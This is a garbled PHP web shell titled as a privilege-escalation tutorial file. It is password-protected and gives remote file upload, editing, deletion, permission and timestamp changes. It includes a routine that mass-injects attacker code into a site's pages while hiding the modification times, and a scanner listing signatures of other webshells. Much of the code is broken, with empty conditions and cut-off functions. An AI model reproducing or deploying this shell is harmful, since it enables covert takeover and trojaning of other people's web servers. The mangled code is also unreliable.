【邪影教程】提权批php【邪影】

<?php $password = "hucxsz"; error_reporting(E_ERROR); set_time_limit(0); $lanip = getenv('REMOTE_ADDR'); function Root_GP(&$array) { while(list($key,$var) = each($array)) { if((strtoupper($key) != $key || ''.intval($key) == "$key") && $key != 'argc' && $key != 'argv') { if(is_string($var)) $array[$key] = stripslashes($var); if(is_array($var)) $array[$key] = Root_GP($var); } } return $array; } function Root_CSS() { print<<<END

END; return false; } function File_Str($string) { return str_replace('//','/',str_replace('\','/',$string)); } function File_Size($size) { if($size > 1073741824) $size = round($size / 1073741824 100) / 100 . ' G'; elseif($size > 1048576) $size = round($size / 1048576 100) / 100 . ' M'; elseif($size > 1024) $size = round($size / 1024 * 100) / 100 . ' K'; else $size = $size . ' B'; return $size; } function File_Mode() { $RealPath = realpath('./'); $SelfPath = $_SERVER['PHP_SELF']; $SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/')); return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath))); } function File_Read($filename) { $handle = @fopen($filename,"rb"); $filecode = @fread($handle,@filesize($filename)); @fclose($handle); return $filecode; } function File_Write($filename,$filecode,$filemode) { $handle = @fopen($filename,$filemode); $key = @fwrite($handle,$filecode); if(!$key) { @chmod($filename,0666); $key = @fwrite($handle,$filecode); } @fclose($handle); return $key; } function File_Up($filea,$fileb) { $key = @copy($filea,$fileb) ? true : false; if(!$key) $key = @move_uploaded_file($filea,$fileb) ? true : false; return $key; } function File_Down($filename) { if(!file_exists($filename)) return false; $filedown = basename($filename); $array = explode('.', $filedown); $arrayend = array_pop($array); header('Content-type: application/x-'.$arrayend); header('Content-Disposition: attachment; filename='.$filedown); header('Content-Length: '.filesize($filename)); @readfile($filename); exit; } function File_Deltree($deldir) { if(($mydir = @opendir($deldir)) == NULL) return false; while(false !== ($file = @readdir($mydir))) { $name = File_Str($deldir.'/'.$file); if((is_dir($name)) && ($file!='.') && ($file!='..')){@chmod($name,0777);rmdir($name);} if(is_file($name)){@chmod($name,0777);@unlink($name);} } @closedir($mydir); @chmod($deldir,0777); return @rmdir($deldir) ? true : false; } function File_Act($array,$actall,$inver) { if(($count = count($array)) == 0) return 'select file plz'; $i = 0; while($i < $count) { $array[$i] = urldecode($array[$i]); switch($actall) { case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return '路径错误'; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = '复制'; break; case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = '删除'; break; case "c" : if() return '错误属性值'; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = '改变属性'; break; case "d" : @touch($array[$i],strtotime($inver)); $msg = '改变时间'; break; } $i++; } return '选择文件 '.$msg.' 成功'; } function File_Edit($filepath,$filename,$dim = '') { $THIS_DIR = urlencode($filepath); $THIS_FILE = File_Str($filepath.'/'.$filename); if(file_exists($THIS_FILE)){$FILE_TIME = @date('Y-m-d H:i:s',filemtime($THIS_FILE));$FILE_CODE = htmlspecialchars(File_Read($THIS_FILE));} else {$FILE_TIME = @date('Y-m-d H:i:s',time());$FILE_CODE = '';} print<<<END

END; } function File_a($p) { $MSG_BOX = '等待消息队列......'; if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/'; $UP_DIR = urlencode(File_Str($p.'/..')); $REAL_DIR = File_Str(realpath($p)); $FILE_DIR = File_Str(dirname(FILE)); $ROOT_DIR = File_Mode(); $THIS_DIR = urlencode(File_Str($p)); $UP_DIR = urlencode(File_Str(dirname($p))); $NUM_D = 0; $NUM_F = 0; if(!empty($_POST['pfn'])){$intime = @strtotime($_POST['mtime']);$MSG_BOX = File_Write($_POST['pfn'],$_POST['pfc'],'wb') ? '编辑文件 '.$_POST['pfn'].' success' : '编辑文件 '.$_POST['pfn'].' faild';@touch($_POST['pfn'],$intime);} if(!empty($_POST['ufs'])){if($_POST['ufn'] != '') $upfilename = $_POST['ufn']; else $upfilename = $_FILES['ufp']['name'];$MSG_BOX = File_Up($_FILES['ufp']['tmp_name'],File_Str($p.'/'.$upfilename)) ? 'upfile '.$upfilename.' success' : 'upfile '.$upfilename.' ';} if(!empty($_POST['actall'])){$MSG_BOX = File_Act($_POST['files'],$_POST['actall'],$_POST['inver']);} if(!empty($_GET['mn'])){$MSG_BOX = @rename(File_Str($p.'/'.$_GET['mn']),File_Str($p.'/'.$_GET['rn'])) ? '重命名 '.$_GET['mn'].' to '.$_GET['rn'].' success' : '重命名 '.$_GET['mn'].' to '.$_GET['rn'].' faild';} if(!empty($_GET['dn'])){$MSG_BOX = @mkdir(File_Str($p.'/'.$_GET['dn']),0777) ? 'create folder '.$_GET['dn'].' success' : 'create folder '.$_GET['dn'].' faild';} if(!empty($_GET['dd'])){$MSG_BOX = File_Deltree($_GET['dd']) ? '删除文件夹 '.$_GET['dd'].' 成功' : '删除文件夹 '.$_GET['dd'].' 失败';} if(!empty($_GET['df'])){if(!File_Down($_GET['df'])) $MSG_BOX = 'the download file does not exists';} Root_CSS(); print<<<END

<div id="msgbox" class="msgbox">{$MSG_BOX}</div>
<div class="actall" style="text-align:center;padding:3px;">
<form method="GET"><input type="hidden" name="s" value="a">
<input type="text" name="p" value="{$p}" style="width:50%;height:22px;">
<select onchange="location.href='?s=a&p='+options[selectedIndex].value">
<option>---特殊目录---</option>
<option value="{$ROOT_DIR}"> 站点根目录 </option>
<option value="{$FILE_DIR}"> 本程序目录 </option>
<option value="C:/Documents and Settings/All Users/「开始」菜单/程序/启动"> 中文启动项目录 </option>
<option value="C:/Documents and Settings/All Users/Start Menu/Programs/Startup"> 英文启动项目录 </option>
<option value="C:/RECYCLER"> RECYCLER </option>
<option value="C:/Program Files"> Program Files </option>
</select> <input class="bt" type="submit" value="转到"></form>
<div style="margin-top:3px;"></div>
<form method="POST" action="?s=a&p={$THIS_DIR}" enctype="multipart/form-data">
<input class="bt" type="button" value="创建文件" onclick="Inputok('newfile.php','?s=p&fp={$THIS_DIR}&fn=');">
<input class="bt" type="button" value="创建文件夹" onclick="Inputok('newdir','?s=a&p={$THIS_DIR}&dn=');"> 
<input type="file" name="ufp" style="width:30%;height:22px;">
<input type="text" name="ufn" style="width:20%;height:22px;">
<input class="bt" type="submit" name="ufs" value="上传">
</form>
</div>
<form method="POST" id="fileall" action="?s=a&p={$THIS_DIR}">
<table border="0"><tr>
<td class="toptd" style="width:810px;"> <a href="?s=a&p={$UP_DIR}"><b>上一级目录</b></a> </td>
<td class="toptd" style="width:100px;"> 操作 </td>
<td class="toptd" style="width:60px;"> 属性 </td>
<td class="toptd" style="width:200px;"> 修改时间 </td>
<td class="toptd" style="width:100px;"> 大小 </td></tr>

END; if(($h_d = @opendir($p)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' or $Filename == '..') continue; $Filepath = File_Str($p.'/'.$Filename); if(is_dir($Filepath)) { $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); $Filepath = urlencode($Filepath); echo "\n".'0'.$Filename.''; $Filename = urlencode($Filename); echo '删除 '; echo '重命名'; echo ''.$Fileperm.''; echo ''.$Filetime.' '; echo ' '."\n"; $NUM_D++; } } @rewinddir($h_d); while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' or $Filename == '..') continue; $Filepath = File_Str($REAL_DIR.'/'.$Filename); if(!is_dir($Filepath)) { $Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$Filepath); $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); $Filesize = File_Size(@filesize($Filepath)); if($Filepath == File_Str(FILE)) $fname = ''.$Filename.''; else $fname = $Filename; echo "\r\n".' '.$fname.' '; $Filepath = urlencode($Filepath); $Filename = urlencode($Filename); echo ' 编辑 '; echo ' 重命名 '; echo ' '.$Fileperm.' '; echo ' '.$Filetime.' '; echo ' '.$Filesize.' '."\r\n"; $NUM_F++; } } @closedir($h_d); print<<<END

END; return true; } function Guama_Pass($length) { $possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $str = ""; while(strlen($str) < $length) $str .= substr($possible,(rand() % strlen($possible)),1); return $str; } function Guama_Auto($gp,$gt,$gl,$gc,$incode,$gk,$gd,$gb,$go) { if(($h_d = @opendir($gp)) == NULL) return false; if($go) { preg_match_all("/[-([^~]*?)-]/i",$gc,$nc); $passm = (int)$nc[1][0]; if(() || ($passm > 12)) return false; } while(false )) { if($Filename == '.' || $Filename == '..') continue; if($gl != ''){if(eregi($gl,$Filename)) continue;} $Filepath = File_Str($gp.'/'.$Filename); if(is_dir($Filepath) && $gb) Guama_Auto($Filepath,$gt,$gl,$gc,$incode,$gk,$gd,$gb,$go); if(eregi($gt,$Filename)) { $ic = File_Read($Filepath); if(stristr($ic,$gk)) continue; if($go) $gc = str_replace($nc[0][0],Guama_Pass($passm),$gc); if($gd) $ftime = @filemtime($Filepath); if($incode == '1'){if(!stristr($ic,'')) continue; $ic = str_replace('',"\r\n".$gc."\r\n".''."\r\n",$ic); $ic = str_replace('',"\r\n".$gc."\r\n".''."\r\n",$ic);} if($incode == '2') $ic = $gc."\r\n".$ic; if($incode == '3') $ic = $ic."\r\n".$gc; echo File_Write($Filepath,$ic,'wb') ? 'ok:'.$Filepath.'
'."\r\n" : 'err:'.$Filepath.'
'."\r\n"; if($gd) @touch($Filepath,$ftime); ob_flush(); flush(); } } @closedir($h_d); return true; } function Guama_b() { if((!empty($_POST['gp'])) && (!empty($_POST['gt'])) && (!empty($_POST['gc']))) { $gk = ''; $go = false; $gt = str_replace('.','\.',$_POST['gt']); $gl = isset($_POST['gl']) ? str_replace('.','\.',$_POST['gl']) : ''; $gd = isset($_POST['gd']) ? true : false; $gb = ($_POST['gb'] == 'a') ? true : false; if(isset($_POST['gx'])){$gk = $_POST['gc'];if(stristr($_POST['gc'],'[-') && stristr($_POST['gc'],'-]')){$temp = explode('[-',$_POST['gc']); $gk = $temp[0]; $go = true;}} echo Guama_Auto($_POST['gp'],$gt,$gl,$_POST['gc'],$_POST['incode'],$gk,$gd,$gb,$go) ? '成功' : '失败'; echo '
'; return false; } $FILE_DIR = File_Str(dirname(FILE)); $ROOT_DIR = File_Mode(); print<<<END

END; return true; } function Qingma_Auto($qp,$qt,$qc,$qd,$qb) { if(($h_d = @opendir($qp)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; $Filepath = File_Str($qp.'/'.$Filename); if(is_dir($Filepath) && $qb) Qingma_Auto($Filepath,$qt,$qc,$qd,$qb); if(eregi($qt,$Filename)) { $ic = File_Read($Filepath); if(!stristr($ic,$qc)) continue; $ic = str_replace($qc,'',$ic); if($qd) $ftime = @filemtime($Filepath); echo File_Write($Filepath,$ic,'wb') ? 'ok:'.$Filepath.'
'."\r\n" : 'err:'.$Filepath.'
'."\r\n"; if($qd) @touch($Filepath,$ftime); ob_flush(); flush(); } } @closedir($h_d); return true; } function Qingma_c() { if((!empty($_POST['qp'])) && (!empty($_POST['qt'])) && (!empty($_POST['qc']))) { $qt = str_replace('.','\.',$_POST['qt']); $qd = isset($_POST['qd']) ? true : false; $qb = ($_POST['qb'] == 'a') ? true : false; echo Qingma_Auto($_POST['qp'],$qt,$_POST['qc'],$qd,$qb) ? '成功' : '失败'; echo '
'; return false; } $FILE_DIR = File_Str(dirname(FILE)); $ROOT_DIR = File_Mode(); print<<<END

END; return true; } function Tihuan_Auto($tp,$tt,$th,$tca,$tcb,$td,$tb) { if(($h_d = @opendir($tp)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; $Filepath = File_Str($tp.'/'.$Filename); if(is_dir($Filepath) && $tb) Tihuan_Auto($Filepath,$tt,$th,$tca,$tcb,$td,$tb); $doing = false; if(eregi($tt,$Filename)) { $ic = File_Read($Filepath); if($th) { if(!stristr($ic,$tca)) continue; $ic = str_replace($tca,$tcb,$ic); $doing = true; } else { preg_match_all("/\'."\r\n" : 'err:'.$Filepath.'
'."\r\n"; if($td) @touch($Filepath,$ftime); ob_flush(); flush(); } } @closedir($h_d); return true; } function Tihuan_d() { if((!empty($_POST['tp'])) && (!empty($_POST['tt']))) { $tt = str_replace('.','\.',$_POST['tt']); $td = isset($_POST['td']) ? true : false; $tb = ($_POST['tb'] == 'a') ? true : false; $th = ($_POST['th'] == 'a') ? true : false; if($th) $_POST['tca'] = str_replace('.','\.',$_POST['tca']); echo Tihuan_Auto($_POST['tp'],$tt,$th,$_POST['tca'],$_POST['tcb'],$td,$tb) ? '成功' : '失败'; echo '
'; return false; } $FILE_DIR = File_Str(dirname(FILE)); $ROOT_DIR = File_Mode(); print<<<END

END; return true; } function Antivirus_Auto($sp,$features,$st) { if(($h_d = @opendir($sp)) == NULL) return false; $ROOT_DIR = File_Mode(); while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; $Filepath = File_Str($sp.'/'.$Filename); if(is_dir($Filepath)) Antivirus_Auto($Filepath,$features,$st); if(eregi($st,$Filename)) { if($Filepath == File_Str(FILE)) continue; $ic = File_Read($Filepath); foreach($features as $var => $key) { if(stristr($ic,$key)) { $Fileurls = str_replace($ROOT_DIR,'http://'.$_SERVER['SERVER_NAME'].'/',$Filepath); $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); echo ''.$Filepath.'
【编辑 删除】 '; echo '【'.$Filetime.'】 '.$var.'

'; break; } } ob_flush(); flush(); } } @closedir($h_d); return true; } function Antivirus_e() { if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo ' 删除成功';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? ' 删除成功' : ' 删除失败';} return false;} if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } $SCAN_DIR = (File_Mode() == '') ? File_Str(dirname(FILE)) : File_Mode(); $features_php = array('ftp.class.php'=>'ftp.class.php','cha88.cn'=>'cha88.cn','Security Angel Team'=>'Security Angel Team','read()'=>'->read()','readdir'=>'readdir(','return string soname'=>'returns string soname','eval()'=>'eval(gzinflate(','eval(base64_decode())'=>'eval(base64_decode(','eval($_POST)'=>'eval($_POST','eval($_REQUEST)'=>'eval($REQUEST','eval ($)'=>'eval ($_','copy()'=>'copy($_FILES','copy ()'=>'copy ($_FILES','move_uploaded_file()'=>'move_uploaded_file($_FILES','move_uploaded_file ()'=>'move_uploaded_file ($_FILES','str_replace()'=>'str_replace(\'\\\',\'/\','); $features_asx = array('绝对路径'=>'绝对路径','输入马的内容'=>'输入马的内容','fso.createtextfile()'=>'fso.createtextfile(path,true)','<%execute(request())%>'=>'<%execute(request','<%eval request()%>'=>'<%eval request','execute session()'=>'execute session(','--Created!'=>'--Created!','WScript.Shell'=>'WScript.Shell','<%s LANGUAGE = VBScript.Encode %>'=>'<%@ LANGUAGE = VBScript.Encode %>','www.rootkit.net.cn'=>'www.rootkit.net.cn','Process.GetProcesses'=>'Process.GetProcesses','lake2'=>'lake2'); print<<<END

"; echo "当前目录是 $ftpfolder:
"; if(is_array($filelists)) { foreach ($filelists as $file) { $file = strtr($file,"\","/"); $size_file =@ftp_size($conn, $file); if ( $size_file == -1) { $a=$a.basename($file)."
"; } else { $b=$b.basename($file)."                ".$size_file."B
"; } } } echo $a; echo $b; echo "

'.$output.'